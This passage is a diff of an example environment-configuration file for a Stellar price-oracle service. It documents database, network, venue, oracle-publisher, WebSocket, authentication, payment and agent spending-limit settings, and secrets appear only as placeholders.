aggregate whose newest contributing observation is older than -# this many seconds (default 120). Stricter than the API's own 300 s stale flag -# on purpose: an HTTP price can be "as good as we have it", a price a contract -# settles against cannot. See docs/sep40-oracle-publisher.md. -SEP40_MAX_AGE_SECONDS=120 -# How often the publisher evaluates the triggers above (default 30000). Shorter -# means a deviation is caught sooner; it does NOT mean more writes, because -# SEP40_MIN_WRITE_INTERVAL_MS bounds those. -SEP40_POLL_INTERVAL_MS=30000 - -# --- Indexer Configuration --- -# Frequency of polling for new trades/snapshots in milliseconds (default: 5000) -POLL_INTERVAL_MS=5000 -# Number of SDEX trades to fetch per page (default: 200) -SDEX_PAGE_SIZE=200 -# Number of AMM trades to fetch per page (default: 200) -AMM_PAGE_SIZE=200 -# How often to poll Soroswap pool reserves in milliseconds (default: 60000 = 60s) -SOROSWAP_POLL_INTERVAL_MS=60000 -# How often to poll Phoenix pool reserves in milliseconds (default: 60000 = 60s) -PHOENIX_POLL_INTERVAL_MS=60000 -# How long a Phoenix pool enumeration is reused before the factory is asked -# again, in milliseconds (default: 600000 = 10 min). Discovery reads every pool -# once, so this is what keeps it off the critical path of every price poll. A -# failed refresh keeps the previous list rather than extending this timer. -PHOENIX_POOL_CACHE_TTL_MS=600000 - -# --- WebSocket backpressure (/ws) --- -# See docs/websocket-backpressure.md for the full policy. -# Max price updates per second per client (default: 100). 0 disables the window. -WS_COALESCE_INTERVAL_MS=100 -# Bytes a client socket may have queued before updates are coalesced to the -# newest one instead of sent (default: 262144 = 256 KiB). Clamped to half of -# WS_MAX_BUFFERED_BYTES if it is set higher. -WS_SLOW_CLIENT_BUFFER_BYTES=262144 -# Bytes a client socket may have queued before it is disconnected with close -# code 1013 (default: 1048576 = 1 MiB). -WS_MAX_BUFFERED_BYTES=1048576 -# How long a client may stay congested before it is disconnected anyway -# (default: 30000). Coalescing bounds the memory a slow client costs; this -# bounds the time. 0 keeps congested clients indefinitely. -WS_MAX_CONGESTED_MS=30000 -# How often the aggregate ws_buffered_bytes gauge is refreshed in milliseconds -# (default: 5000). -WS_BUFFER_SWEEP_INTERVAL_MS=5000 -# Interval in milliseconds between WebSocket ping frames (default: 30000). -WS_PING_INTERVAL_MS=30000 -# Number of consecutive missed pings before a client is terminated (default: 2). -WS_MAX_MISSED_PINGS=2 - -# --- Auth & Security --- -# Secret key required for admin endpoints (e.g., adding/removing pairs) -ADMIN_API_KEY=super-secret-admin-key - -# Shared secret guarding the API-key admin endpoints (POST/DELETE /admin/keys, -# GET /admin/usage) and the `npm run key:issue` CLI. Send as X-Admin-Token header -# or Authorization: Bearer . When unset, empty, or a placeholder, the admin -# surface is disabled at startup and admin routes return 503 admin_not_configured. -ADMIN_TOKEN=super-secret-admin-token -# Set to "false" to disable API-key auth entirely (e.g. local dev). Any other -# value (or unset) leaves auth enabled, so every non-public route needs a key. -REQUIRE_API_KEY=true -# Minimum interval, in seconds, between database writes stamping an API key's -# `lastUsedAt`. Authentication is otherwise a read; without a throttle a busy -# key turns every authenticated request into a write. 0 disables the throttle -# and writes on every request (default: 60). -KEY_LAST_USED_THROTTLE_SECONDS=60 -# Default overlap duration in hours for key rotation via POST /admin/keys/:id/rotate (default: 24) -# During this window, both old and replacement keys function simultaneously to prevent service disruption. -KEY_ROTATION_OVERLAP_HOURS=24 -# Fallback rate limit (requests per minute per IP) for unauthenticated or public requests (default: 100) -RATE_LIMIT_IP_MAX=100 -# Requests this single instance will accept per minute in total, across every -# caller, before shedding with 503 (default: 1000). Must be a positive integer; -# an invalid value is a startup error rather than "no ceiling". This is a -# per-process self-defence limit, not a quota — with several instances the fleet -# ceiling is this times the instance count, which is the intended behaviour. -# Expensive route templates are shed at 80% of it, and /status, /live and /ready -# are exempt. -GLOBAL_RATE_LIMIT_MAX=1000 - -# --- Health probes --- -# GET /live is liveness (no dependency checks) and GET /ready is readiness -# (boot complete + Postgres reachable/migrated + Redis). Both are public and -# exempt from rate limiting and from http_requests_total, because a platform -# polls them on a fixed interval. -# -# Whether Redis takes part in readiness (default: true). Set to "false" for a -# deployment that deliberately runs Redis-less: startup already treats an -# unavailable Redis as non-fatal and serves prices uncached from Postgres, so -# failing readiness there would pull a healthy instance out of rotation. -READINESS_REDIS_CHECK=true -# Milliseconds a single dependency probe may take before /ready calls it down -# (default: 2000). Kept well under the platform's probe interval — a probe -# slower than its own polling period reports stale answers. -READINESS_TIMEOUT_MS=2000 -# How long /ready reuses one answer before re-probing (default: 2000). Bounds -# how many dependency round trips a fleet-wide poll interval can produce, and -# how many outstanding probes a slow database can accumulate. -READINESS_CACHE_MS=2000 - -# Maximum number of GraphQL field selections from an operation root to a leaf -# (default: 3). Must be a positive integer. Pure __schema/__type introspection -# is exempt so GraphiQL can load; mixed operations still limit application fields. -GRAPHQL_MAX_QUERY_DEPTH=3 - -# --- x402 Payment Gate --- -# Stellar public key where API payments should be sent. -# If unset, x402 gating is disabled. -# Optionally set ORACLE_PAYMENT_ADDRESS_TESTNET / ORACLE_PAYMENT_ADDRESS_MAINNET -# to use a different payout address per network (falls back to the shared -# ORACLE_PAYMENT_ADDRESS above for whichever one is unset). -ORACLE_PAYMENT_ADDRESS=GD... -# Optional network-specific Stellar payout address for testnet payments (overrides ORACLE_PAYMENT_ADDRESS on testnet) -ORACLE_PAYMENT_ADDRESS_TESTNET= -# Optional network-specific Stellar payout address for mainnet payments (overrides ORACLE_PAYMENT_ADDRESS on mainnet) -ORACLE_PAYMENT_ADDRESS_MAINNET= -# URL of the x402 facilitator (default: https://x402.org/facilitator) -X402_FACILITATOR_URL=https://x402.org/facilitator - -# --- Bazaar catalog integrity --- -# Catalog listings arrive from clients in the payment payload, so writes are -# rate limited per payTo. A rejected listing never fails the payment. -BAZAAR_CATALOG_WRITES_PER_MIN=10 -BAZAAR_CATALOG_WRITES_PER_DAY=200 - -# --- Oracle Relay Example --- -# Lens API base URL consumed by the relay example. -ORACLE_RELAY_API_URL=http://localhost:3002 -# Soroban RPC endpoint for transaction submission. -ORACLE_RELAY_RPC_URL=https://soroban-testnet.stellar.org -# Stellar network passphrase for transaction signing. -ORACLE_RELAY_NETWORK_PASSPHRASE=Test SDF Network ; September 2015 -# Soroban contract ID for the relay example. -ORACLE_RELAY_CONTRACT_ID=CC... -# Secret key for the relay's source account. -ORACLE_RELAY_SOURCE_SECRET=S... -# Asset pair pushed to the oracle contract. -ORACLE_RELAY_ASSET_A=XLM -ORACLE_RELAY_ASSET_B=USDC -# How often the relay polls Lens and updates the contract. -ORACLE_RELAY_INTERVAL_MS=60000 - -# --- Price Alert Bot Example --- -# Lens WebSocket endpoint the alert bot connects to. -ALERT_BOT_WS_URL=ws://localhost:3002/ws -# Pair to watch and the threshold to alert on. -ALERT_BOT_ASSET_A=XLM -ALERT_BOT_ASSET_B=USDC -ALERT_BOT_THRESHOLD=0.15 -# Alert direction: "above" or "below". -ALERT_BOT_DIRECTION=above -# Optional base64 X-PAYMENT header for x402-gated streams. -ALERT_BOT_PAYMENT= -# Optional HTTPS URL to forward alerts to, plus its HMAC secret. -ALERT_BOT_NOTIFY_URL= -ALERT_BOT_NOTIFY_SECRET=alert-bot - -# --- x402 Facilitator (POST /settle) --- -# The Stellar secret key the facilitator signs settlement transactions with, -# per network. This is a fee and sequence-number key only: the payer authorises -# inside the payload as a signed Soroban auth entry, so no payer key is ever -# held by this process. Leave unset to run without settlement — /settle then -# fails explicitly rather than half-working, and /supported and the Bazaar -# still serve. -FACILITATOR_SECRET_KEY_TESTNET= -FACILITATOR_SECRET_KEY_MAINNET= -# Unsuffixed form, applied to testnet only. -FACILITATOR_SECRET_KEY= -# Maximum fee in stroops the facilitator will pay (default 50000). -FACILITATOR_FEE_STROOPS_TESTNET=50000 -FACILITATOR_FEE_STROOPS_MAINNET=50000 - -# --- Price Plausibility Sanity Bounds --- -# Lower and upper bounds for sanity-checking derived venue prices. -# Derived spot prices outside this range are rejected with a log warning and metric increment. -PRICE_MIN_PLAUSIBLE=0.0000000001 -PRICE_MAX_PLAUSIBLE=10000000000 - -# --- MCP server (npm run mcp:server) --- -# The agent's own x402 payer keys, used to answer a 402 challenge when paid_call -# fetches a gated resource. These spend money, so keep them out of any other -# process and fund only what you are willing to lose. -MCP_AGENT_SECRET_KEY_TESTNET= -# WARNING: MCP_AGENT_SECRET_KEY_MAINNET signs transactions on the public network -# and can spend real funds. Keep this out of any other process and fund only -# what you are willing to lose. -MCP_AGENT_SECRET_KEY_MAINNET= -# Transport to serve: "stdio" (default) or "http". stdio speaks over the process's -# stdin/stdout and only works for a client that can launch this process on the -# same machine; "http" serves Streamable HTTP so remote/hosted clients can connect. -MCP_TRANSPORT=stdio -# Required when MCP_TRANSPORT=http, and refused without it. Every request must -# carry `Authorization: Bearer `. Generate a strong random value -# (e.g. `openssl rand -hex 32`); it authorises paid_call spending, so treat it -# as a credential, and never put it in a URL. -MCP_HTTP_AUTH_TOKEN= -# Bind address for the HTTP transport (default: 127.0.0.1). Reachability beyond -# loopback is only safe behind a TLS-terminating reverse proxy. -MCP_HTTP_HOST=127.0.0.1 -# Port for the HTTP transport (default: 3003; the REST API listens on PORT=3002). -MCP_HTTP_PORT=3003 -# Path the HTTP transport answers MCP POSTs on (default: /mcp). -MCP_HTTP_PATH=/mcp -# Ceiling per paid_call, enforced by the x402 fetch wrapper. -MCP_MAX_PAYMENT_PRICE=$1.00 -# Comma-separated origins (or URL prefixes) paid_call may pay for, e.g. -# "https://api.lens.example,localhost:3000". An entry with no scheme matches -# both http and https; an entry with a path only allows that path and what sits -# under it. UNSET IS EMPTY, AND AN EMPTY LIST PAYS NOBODY: every paid_call is -# refused with ERR_HOST_NOT_ALLOWED before a request is sent. This is a -# prompt-injection guard — text an agent reads must not choose where money goes. -MCP_PAID_CALL_ALLOWED_HOSTS= -# Path to the OpenAPI document served by the MCP `lens://openapi.json` resource. -# Leave unset to serve the openapi.json at the package root; set it only when the -# document lives elsewhere, e.g. mounted separately in a container. -MCP_OPENAPI_PATH= - - -# ─── Snapshot retention ──────────────────────────────────────────────────── -# Rows removed by one DELETE during a retention run. The job drains in batches -# of this size, skipping locked rows and yielding between them, so a first run -# against a table that has never been pruned cannot hold a long lock or blow -# the WAL. Default 1000. -SNAPSHOT_PRUNE_BATCH_SIZE=1000 - - -# --- MCP agent spending limits --- -# Most a single payment may cost. Enforced as the x402 client's per-payment cap -# (spendControls.maxAmountPerPayment), so a call priced higher is refused before -# any money moves (default: $1.00). -MCP_MAX_PAYMENT_PRICE=$1.00 -# Cumulative ceiling on what paid calls may cost in one UTC day. The per-call cap -# above only bounds one mistake; without this, an agent in a retry loop can pay -# that amount over and over. Once a further call's worst case no longer fits the -# remaining budget, paid_call is refused with ERR_BUDGET_EXCEEDED without -# attempting payment. Read live with the payment_budget tool (default: $10.00). -MCP_DAILY_SPEND_CEILING=$10.00 -# Where the day's running total is kept, so a server restart does not refill the -# budget: the total is per UTC day and read back from this file at startup, and -# the window still resets at 00:00 UTC. If the file is missing it starts at zero; -# if it is unreadable or unwritable the budget is treated as spent and paid calls -# are refused until it is fixed (fail closed). Keep it off ephemeral filesystems -# (default: ~/.lens-mcp/spend-state.json). -MCP_SPEND_STATE_FILE= -# Where the payment audit trail is appended, one JSON record per paid call: -# timestamp, full URL, host, method, price, asset, network, transaction hash and -# the outcome. Never the secret key and never the signed payment envelope. A call -# that failed is recorded too, since a payment can settle on a call that errored. -# If this file cannot be created or written, paid calls are refused: a tool that -# moves money does not get to spend without a record (fail closed). Keep it off -# ephemeral filesystems (default: ~/.lens-mcp/payments.jsonl). -MCP_PAYMENT_LEDGER_FILE= -# Comma-separated hosts allowed to become the `host` label of the spend metrics. -# Prometheus series are permanent, so labelling by whatever URL an agent asks for -# lets one caller mint unbounded time series; hosts outside this list are reported -# as `unknown`, and an empty value reports every host as `unknown`. The audit file -# above always keeps the real host regardless (e.g. bazaar.example,price.feed). -MCP_METRIC_HOSTS= -# Comma-separated network ids allowed to become the `network` label of the spend -# metrics. Same bounded-series rule as above. The value here is the default — the -# networks this agent signs for — spelled out, because the .env.example drift -# guard reads a commented entry as undocumented. Setting it to an empty value -# instead reports every network as `unknown`. -MCP_METRIC_NETWORKS=stellar:testnet,stellar:pubnet -# With MCP_TRANSPORT=http the registry above is scrapeable from the MCP server -# itself: GET /metrics on MCP_HTTP_PORT, requiring the same MCP_HTTP_AUTH_TOKEN -# bearer token. stdio starts no listener, so there the running total is what the -# payment_budget tool reports and what the audit file holds. - -# Where `npm run validate:live-spec` points when checking the published -# OpenAPI document against a running service. LIVE_API_URL wins if both are -# set; falling back to LENS_URL keeps one variable for anyone who already has -# it configured. Unset means localhost:3002, which is the API's default port, -# so a local run needs neither. -LIVE_API_URL= -LENS_URL= - -# Base URL for Coinbase Exchange's public market-data API, used by the CEX -# adapter to read reference prices. Only worth setting to point at a sandbox or -# a recording proxy when testing; the adapter sends no credentials, so this is -# not a place to route through anything untrusted. Unset means -# https://api.exchange.coinbase.com. -COINBASE_EXCHANGE_BASE_URL= - -# ─── Price points retention ──────────────────────────────────────────────── -# Retention window in days for raw price_points rows before they are pruned. -# Raw points older than this window are rolled up into 1-hour price_aggregates -# before deletion, preserving full OHLCV, VWAP, venue volume breakdown, and -# trade counts while bounding database storage on shared tiers. -# Default: 30 days (defensible because downstream volume queries inspect up to -# 30-day windows, e.g. /volumes/:asset?window=30d, and it aligns with snapshot -# retention while preventing unbounded table growth). -PRICE_POINTS_RETENTION_DAYS=30 - -# Maximum rows removed by one database statement during a retention run. -# The job deletes in bounded batches using FOR UPDATE SKIP LOCKED and pauses -# between batches so it never holds long table locks. -# Default: 1000. -PRICE_POINTS_PRUNE_BATCH_SIZE=1000 - +# --- General --- +# Environment: development, test, production +NODE_ENV=development +# Structured log level: trace, debug, info, warn, error, fatal, or silent (default: info) +# Logs are newline-delimited JSON when NODE_ENV=production, human-readable otherwise. +LOG_LEVEL=info + +# --- Server --- +# Port to listen on (default: 3002) +PORT=3002 +# Host to bind to (default: 0.0.0.0) +HOST=0.0.0.0 + +# --- Database --- +# PostgreSQL connection string with credentials +DATABASE_URL=postgresql://lens:lens@localhost:5432/lens +# Direct unpooled PostgreSQL connection string (used by Prisma migrations and CLI to bypass connection poolers) +DIRECT_DATABASE_URL=postgresql://lens:lens@localhost:5432/lens +# Maximum connections per process pool (default: 10). +# Capacity planning arithmetic: total DB connections = (instances * DB_POOL_SIZE) + admin headroom. +# Ensure this product does not exceed Postgres max_connections (typically 100). +DB_POOL_SIZE=10 +# Maximum time in milliseconds to wait to acquire a connection from the pool (default: 5000 ms) +DB_POOL_TIMEOUT_MS=5000 +# Retention window in days for partitioned price_points table (default: 30) +PRICE_POINTS_RETENTION_DAYS=30 +# Explicit opt-in flag to drop expired partitions older than PRICE_POINTS_RETENTION_DAYS (default: false, DESTRUCTIVE). +# Keep disabled unless aggregations/rollups have safely processed raw partition data (#231). +PRICE_POINTS_DROP_EXPIRED=false +# Number of future daily partitions to pre-create ahead of need (default: 7) +PRICE_POINTS_PRECREATE_DAYS=7 + +# --- Cache & Performance --- +# Redis connection URL for caching and queues +REDIS_URL=redis://localhost:6379 +# How long to cache price responses in seconds (default: 10) +PRICE_CACHE_TTL=10 +# How long to cache GET /snapshot responses per network in seconds (default: 15) +SNAPSHOT_CACHE_TTL=15 +# How long an API-key lookup is cached in-process, in seconds (default: 30). +# Worst-case window for a key revoked on another instance to stop working here. +API_KEY_CACHE_TTL=30 +# Default timeout for outbound HTTP requests in milliseconds (default: 10000) +HTTP_TIMEOUT_MS=10000 + +# --- Outbound request policy (SSRF) --- +# Comma-separated hostnames the app may reach when a caller supplies the target +# URL — e.g. the Bazaar MCP server fetching a node's /discovery endpoint. Leave +# empty to allow any *public* host. Private, loopback, link-local and cloud +# metadata addresses are refused regardless of this list. +# Example: OUTBOUND_ALLOWED_HOSTS=bazaar.example.com,lens.internal.io +OUTBOUND_ALLOWED_HOSTS= + +# --- MCP tool result bounds --- +# Tool results are written straight into an agent's context window, so they are +# size-bounded: an unbounded result is a self-inflicted denial of service whose +# failure is misread as a bad model. Truncated results say so in the payload. +# Maximum size, in bytes, of one MCP tool result (default: 16384; 1024..1048576) +MCP_MAX_RESULT_BYTES=16384 +# Maximum bytes read from a single upstream response body before the stream is +# cancelled, so an oversized body is never buffered in full +# (default: 262144; 4096..8388608) +MCP_MAX_UPSTREAM_BYTES=262144 +# Page size requested of a Bazaar node when the caller gives no limit, and the +# most a caller may ask for (defaults: 50 and 200, matching /discovery) +MCP_DEFAULT_PAGE_LIMIT=50 +MCP_MAX_PAGE_LIMIT=200 + +# --- Active Network --- +# Which network the node operates on: "testnet" or "mainnet" (default: testnet) +# This drives all config.horizon / config.rpc / config.soroswap shortcut paths. +STELLAR_NETWORK=testnet + +# Comma-separated list of networks the ingesters run for, e.g. "testnet,mainnet". +# Each venue ingester (SDEX, AMM, Soroswap, Snapshot, Aquarius, DeFindex) is started once +# Each venue ingester (SDEX, AMM, Soroswap, Snapshot, Aquarius, Phoenix) is started once +# per network listed here, each instance independently fault-isolated. +# When unset (or nothing valid remains after parsing) it falls back to just +# STELLAR_NETWORK, so a single-network node starts one instance of each ingester. +ENABLED_NETWORKS=testnet + +# ───────────────────────────────────────────────────────────────────────────── +# Per-network Stellar configuration +# +# For each field below, Lens resolves the value in this priority order: +# 1. Paired var — e.g. HORIZON_URL_TESTNET / HORIZON_URL_MAINNET +# 2. Generic var — e.g. HORIZON_URL (back-compat; applied to testnet only) +# 3. Built-in default for that network +# +# Only the vars for your active network need to be set; the other network's +# values are only used when STELLAR_NETWORK switches to it. +# ───────────────────────────────────────────────────────────────────────────── + +# --- Stellar Network — Testnet --- +HORIZON_URL_TESTNET=https://horizon-testnet.stellar.org +RPC_URL_TESTNET=https://soroban-testnet.stellar.org +NETWORK_PASSPHRASE_TESTNET=Test SDF Network ; September 2015 +# Soroswap factory contract (56-char C... id) — from https://github.com/soroswap/core (public/testnet.contracts.json). +# A malformed id disables Soroswap on this network and logs a warning naming this variable. +SOROSWAP_FACTORY_ADDRESS_TESTNET=CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY +# Soroswap has a testnet deployment; leave enabled. Set to "false" to disable. +SOROSWAP_ENABLED_TESTNET=true +# Aquarius has no public testnet deployment today — disabled by default. +AQUARIUS_ENABLED_TESTNET=false +# DeFindex vault factory contract (56-char C... id) — from +# https://github.com/defindex-io/stellar-contracts (public/testnet.contracts.json). +# Testnet redeploys often, so refresh this when the published id changes. +# A malformed id disables DeFindex on this network and logs a warning naming this variable. +DEFINDEX_FACTORY_ADDRESS_TESTNET=CDSCWE4GLNBYYTES2OCYDFQA2LLY4RBIAX6ZI32VSUXD7GO6HRPO4A32 +DEFINDEX_ENABLED_TESTNET=true +# Phoenix (Soroban AMM) has no published testnet deployment, so there is no +# built-in factory id here: leave empty and the venue stays disabled on testnet. +# Point it at a factory you deployed (Phoenix's `contracts/factory`) to enable it. +PHOENIX_FACTORY_ADDRESS_TESTNET= +PHOENIX_ENABLED_TESTNET=true +# Reflector oracle contract (56-char C... id) — see https://reflector.network. Empty = oracle disabled. +# A malformed id disables the oracle on this network and logs a warning naming this variable. +REFLECTOR_CONTRACT_ID_TESTNET= +# SEP-40 publisher (#222): the oracle contract Lens pushes ITS aggregate into, +# so Soroban contracts can read a Lens price. Deploy it from oracle/contract/ +# and paste the id `soroban contract deploy` prints — never a placeholder. +SEP40_CONTRACT_ID_TESTNET= +# Secret key of the account the contract lists as publisher. It pays the write +# fee, so it must be funded on testnet. Never commit a real key; docs/ +# sep40-oracle-publisher.md covers funding, separation from the admin key and +# rotation. Publication stays off while this is unset. +SEP40_PUBLISHER_SECRET_KEY_TESTNET= +# Off by default: publishing spends fees and writes to a chain, so it is +# opt-in per network. Setting this to true without the two values above logs a +# warning and leaves publication off rather than half-working. +SEP40_ENABLED_TESTNET=false +# Comma-separated pairs to watch on testnet. +# Format: "CODE:ISSUER/CODE:ISSUER". Use "native" for XLM. +WATCHED_PAIRS_TESTNET=XLM:native/USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 +# Multi-hop routing configuration for testnet +ROUTING_MAX_HOPS_TESTNET=3 +ROUTING_INTERMEDIATES_TESTNET=XLM:native,USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 + +# --- Stellar Network — Mainnet --- +HORIZON_URL_MAINNET=https://horizon.stellar.org +# Mainnet has no free Soroban RPC — set an external provider endpoint here. +# Placeholder only; never commit a real provider URL or API key. +RPC_URL_MAINNET=https://your-provider.example.com/soroban-rpc +NETWORK_PASSPHRASE_MAINNET=Public Global Stellar Network ; September 2015 +# Mainnet Soroswap factory contract (56-char C... id) — see https://github.com/soroswap/core +SOROSWAP_FACTORY_ADDRESS_MAINNET=CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2 +SOROSWAP_ENABLED_MAINNET=true +AQUARIUS_ENABLED_MAINNET=true +# DeFindex vault factory contract on mainnet (56-char C... id) — from +# https://github.com/defindex-io/stellar-contracts (public/mainnet.contracts.json). +# A malformed id disables DeFindex on this network and logs a warning naming this variable. +DEFINDEX_FACTORY_ADDRESS_MAINNET=CDKFHFJIET3A73A2YN4KV7NSV32S6YGQMUFH3DNJXLBWL4SKEGVRNFKI +DEFINDEX_ENABLED_MAINNET=true +# Phoenix AMM (Soroban) factory contract (56-char C... id) — taken verbatim from +# Phoenix's own repository: scripts/extend-queries.sh and scripts/deploy_pool.sh +# both set FACTORY to this id alongside mainnet.sorobanrpc.com and the public +# passphrase (github.com/Phoenix-Protocol-Group/phoenix-contracts). Pools are +# enumerated from it with `query_pools`, never from a list kept in this repo. +# A malformed id disables Phoenix on this network and logs a warning naming this +# variable; an empty id disables it silently. +PHOENIX_FACTORY_ADDRESS_MAINNET=CB4SVAWJA6TSRNOJZ7W2AWFW46D5VR4ZMFZKDIKXEINZCZEGZCJZCKMI +PHOENIX_ENABLED_MAINNET=true +# Reflector oracle contract on mainnet (56-char C... id) — copy it from https://reflector.network. +# There is no built-in default: leave empty to keep the oracle disabled. +REFLECTOR_CONTRACT_ID_MAINNET= +# SEP-40 publisher on mainnet. Same three variables as testnet above; mainnet is +# additionally gated on a funded publisher account and a real RPC provider +# (RPC_URL_MAINNET), so read docs/sep40-oracle-publisher.md before enabling it. +SEP40_CONTRACT_ID_MAINNET= +SEP40_PUBLISHER_SECRET_KEY_MAINNET= +SEP40_ENABLED_MAINNET=false +# Comma-separated pairs to watch on mainnet. +WATCHED_PAIRS_MAINNET=XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN +# Multi-hop routing configuration for mainnet +ROUTING_MAX_HOPS_MAINNET=3 +ROUTING_INTERMEDIATES_MAINNET=XLM:native,USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN + +# --- Venue endpoint overrides (optional, shared across networks unless a +# paired _TESTNET / _MAINNET variant is set) --- +# Soroswap token-list JSON URL. +SOROSWAP_TOKEN_LIST_URL=https://raw.githubusercontent.com/soroswap/token-list/main/tokenList.json +# Aquarius AMM pools API base URL. +AQUARIUS_API_URL=https://amm.aquarius.network/api/v1/pools/ + +# How often to poll DeFindex vault share prices in milliseconds (default: 60000 = 60s) +DEFINDEX_POLL_INTERVAL_MS=60000 + +# --- Back-compat single-network vars (testnet) --- +# These are still respected when the paired _TESTNET vars above are unset. +# New deployments should prefer the paired vars above. +HORIZON_URL=https://horizon-testnet.stellar.org +RPC_URL=https://soroban-testnet.stellar.org +NETWORK_PASSPHRASE=Test SDF Network ; September 2015 +SOROSWAP_FACTORY_ADDRESS=CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY +# DeFindex vault factory contract ID on testnet (falls back from paired DEFINDEX_FACTORY_ADDRESS_TESTNET) +DEFINDEX_FACTORY_ADDRESS=CDSCWE4GLNBYYTES2OCYDFQA2LLY4RBIAX6ZI32VSUXD7GO6HRPO4A32 +# Phoenix factory id for testnet only (applied when +# PHOENIX_FACTORY_ADDRESS_TESTNET is unset). Never used on mainnet, so a +# single-network testnet value cannot override mainnet's built-in factory. +PHOENIX_FACTORY_ADDRESS= +WATCHED_PAIRS=XLM:native/USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 +# Routing configuration fallbacks +ROUTING_MAX_HOPS=3 +ROUTING_INTERMEDIATES=XLM:native,USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 +# Reflector oracle contract ID on testnet (falls back from paired REFLECTOR_CONTRACT_ID_TESTNET) +REFLECTOR_CONTRACT_ID= +# SEP-40 publisher fallbacks on testnet (fall back from the paired _TESTNET vars above) +SEP40_CONTRACT_ID= +SEP40_PUBLISHER_SECRET_KEY= + +# --- SEP-40 Oracle Publisher (issue #222) --- +# WHEN Lens writes its aggregate to the contract; the contract/keys per network +# are configured above. The feed is deviation-triggered with a heartbeat, not a +# write per tick — writing every sample is what makes an on-chain oracle +# unaffordable, and these are the knobs that decide the difference. +# Publish once the aggregate has moved at least this many percent away from the +# value already on chain (default 0.5). +SEP40_DEVIATION_PCT=0.5 +# …and publish at least once per this many milliseconds even if it has not moved +# (default 900000 = 15 min), so a quiet market does not leave consumers reading +# a timestamp that only gets older. +SEP40_MAX_INTERVAL_MS=900000 +# Hard floor between two writes for the same asset, whatever triggered them +# (default 60000). This is the rate limit: it caps the transaction count in a +# fast market at one write per asset per interval, not one per sample. +SEP40_MIN_WRITE_INTERVAL_MS=60000 +# Never publish an aggregate whose newest contributing observation is older than +# this many seconds (default 120). Stricter than the API's own 300 s stale flag +# on purpose: an HTTP price can be "as good as we have it", a price a contract +# settles against cannot. See docs/sep40-oracle-publisher.md. +SEP40_MAX_AGE_SECONDS=120 +# How often the publisher evaluates the triggers above (default 30000). Shorter +# means a deviation is caught sooner; it does NOT mean more writes, because +# SEP40_MIN_WRITE_INTERVAL_MS bounds those. +SEP40_POLL_INTERVAL_MS=30000 + +# --- Indexer Configuration --- +# Frequency of polling for new trades/snapshots in milliseconds (default: 5000) +POLL_INTERVAL_MS=5000 +# Number of SDEX trades to fetch per page (default: 200) +SDEX_PAGE_SIZE=200 +# Number of AMM trades to fetch per page (default: 200) +AMM_PAGE_SIZE=200 +# How often to poll Soroswap pool reserves in milliseconds (default: 60000 = 60s) +SOROSWAP_POLL_INTERVAL_MS=60000 +# How often to poll Phoenix pool reserves in milliseconds (default: 60000 = 60s) +PHOENIX_POLL_INTERVAL_MS=60000 +# How long a Phoenix pool enumeration is reused before the factory is asked +# again, in milliseconds (default: 600000 = 10 min). Discovery reads every pool +# once, so this is what keeps it off the critical path of every price poll. A +# failed refresh keeps the previous list rather than extending this timer. +PHOENIX_POOL_CACHE_TTL_MS=600000 + +# --- WebSocket backpressure (/ws) --- +# See docs/websocket-backpressure.md for the full policy. +# Max price updates per second per client (default: 100). 0 disables the window. +WS_COALESCE_INTERVAL_MS=100 +# Bytes a client socket may have queued before updates are coalesced to the +# newest one instead of sent (default: 262144 = 256 KiB). Clamped to half of +# WS_MAX_BUFFERED_BYTES if it is set higher. +WS_SLOW_CLIENT_BUFFER_BYTES=262144 +# Bytes a client socket may have queued before it is disconnected with close +# code 1013 (default: 1048576 = 1 MiB). +WS_MAX_BUFFERED_BYTES=1048576 +# How long a client may stay congested before it is disconnected anyway +# (default: 30000). Coalescing bounds the memory a slow client costs; this +# bounds the time. 0 keeps congested clients indefinitely. +WS_MAX_CONGESTED_MS=30000 +# How often the aggregate ws_buffered_bytes gauge is refreshed in milliseconds +# (default: 5000). +WS_BUFFER_SWEEP_INTERVAL_MS=5000 +# Interval in milliseconds between WebSocket ping frames (default: 30000). +WS_PING_INTERVAL_MS=30000 +# Number of consecutive missed pings before a client is terminated (default: 2). +WS_MAX_MISSED_PINGS=2 + +# --- Auth & Security --- +# Secret key required for admin endpoints (e.g., adding/removing pairs) +ADMIN_API_KEY=super-secret-admin-key + +# Shared secret guarding the API-key admin endpoints (POST/DELETE /admin/keys, +# GET /admin/usage) and the `npm run key:issue` CLI. Send as X-Admin-Token header +# or Authorization: Bearer . When unset, empty, or a placeholder, the admin +# surface is disabled at startup and admin routes return 503 admin_not_configured. +ADMIN_TOKEN=super-secret-admin-token +# Set to "false" to disable API-key auth entirely (e.g. local dev). Any other +# value (or unset) leaves auth enabled, so every non-public route needs a key. +REQUIRE_API_KEY=true +# Minimum interval, in seconds, between database writes stamping an API key's +# `lastUsedAt`. Authentication is otherwise a read; without a throttle a busy +# key turns every authenticated request into a write. 0 disables the throttle +# and writes on every request (default: 60). +KEY_LAST_USED_THROTTLE_SECONDS=60 +# Default overlap duration in hours for key rotation via POST /admin/keys/:id/rotate (default: 24) +# During this window, both old and replacement keys function simultaneously to prevent service disruption. +KEY_ROTATION_OVERLAP_HOURS=24 +# Fallback rate limit (requests per minute per IP) for unauthenticated or public requests (default: 100) +RATE_LIMIT_IP_MAX=100 +# Requests this single instance will accept per minute in total, across every +# caller, before shedding with 503 (default: 1000). Must be a positive integer; +# an invalid value is a startup error rather than "no ceiling". This is a +# per-process self-defence limit, not a quota — with several instances the fleet +# ceiling is this times the instance count, which is the intended behaviour. +# Expensive route templates are shed at 80% of it, and /status, /live and /ready +# are exempt. +GLOBAL_RATE_LIMIT_MAX=1000 + +# --- Health probes --- +# GET /live is liveness (no dependency checks) and GET /ready is readiness +# (boot complete + 